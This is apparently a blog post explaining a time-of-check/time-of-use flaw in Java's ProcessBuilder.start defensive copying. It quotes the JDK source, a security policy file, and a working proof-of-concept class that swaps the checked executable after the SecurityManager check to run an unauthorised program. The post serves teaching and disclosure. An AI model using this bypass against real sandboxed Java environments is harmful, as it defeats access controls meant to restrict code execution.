Defensive Copying - How not to do it

Defensive Copying

Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.

Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.

ProcessBuilder

java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.

The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)

435  public Process start() throws IOException {
436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);
439     for (String arg : cmdarray)
440      if (arg == null)
441         throw new NullPointerException();
442     // Throws IndexOutOfBoundsException if command is empty
443     String prog = cmdarray[0];
444 
445     SecurityManager security = System.getSecurityManager();
446     if (security != null)
447      security.checkExec(prog);
448 
449     String dir = directory == null ? null : directory.toString();
450 
451     try {
452      return ProcessImpl.start(cmdarray,
453                  environment,
454                  dir,
455                  redirectErrorStream);
456     } catch (IOException e) {
457      // It's much easier for us to create a high-quality error
458      // message than the low-level C code which found the problem.
459      throw new IOException(
460         "Cannot run program \"" + prog + "\""
461         + (dir == null
462         + ": " + e.getMessage(),
463         e);
464     }
465  }

The interesting bit is this:

436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);

At first glance it might seem like the work of a security conscious programmer.

But quoting fictional Bob, from my previous post on immutability:

Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.

So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".

Example

Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):

grant {
permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";
};

To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy

In order to test it, try executing calc.exe:

001 
002 
003 public class PBCalc {
004     public static void main(String[] args) throws Exception {
005         ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/calc.exe");
006         pb.start();
007     }
008 }


If the security manager and our policy have been successfully configured that should result in:

Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at java.security.AccessController.checkPermission(AccessController.java:546)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec(SecurityManager.java:779)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)
at PBCalc.main(PBCalc.java:6)

Executing notepad.exe should work ok:

001 
002 
003 public class PBNotepad {
004     public static void main(String[] args) throws Exception {
005         ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/notepad.exe");
006         pb.start();
007     }
008 }


And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.

001 import java.io.File;
002 import java.util.ArrayList;
003 import java.util.List;
004 
005 public class PBMutable {
006     public static void main(String[] args) throws Exception {
007         final String[] str = {"C:/windows/system32/notepad.exe"};
008         List list = new ArrayList() {
009             public Object[] toArray(Object[] a) {
010                 return str;
011             }
012         };
013         
014         ProcessBuilder pb = new ProcessBuilder(list);
015         pb.directory(new File(".") {
016             public String toString() {
017                 str[0] = "calc.exe";
018                 return super.toString();
019             }
020         });
021 
022         pb.start();
023     }
024 }

Finally

This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.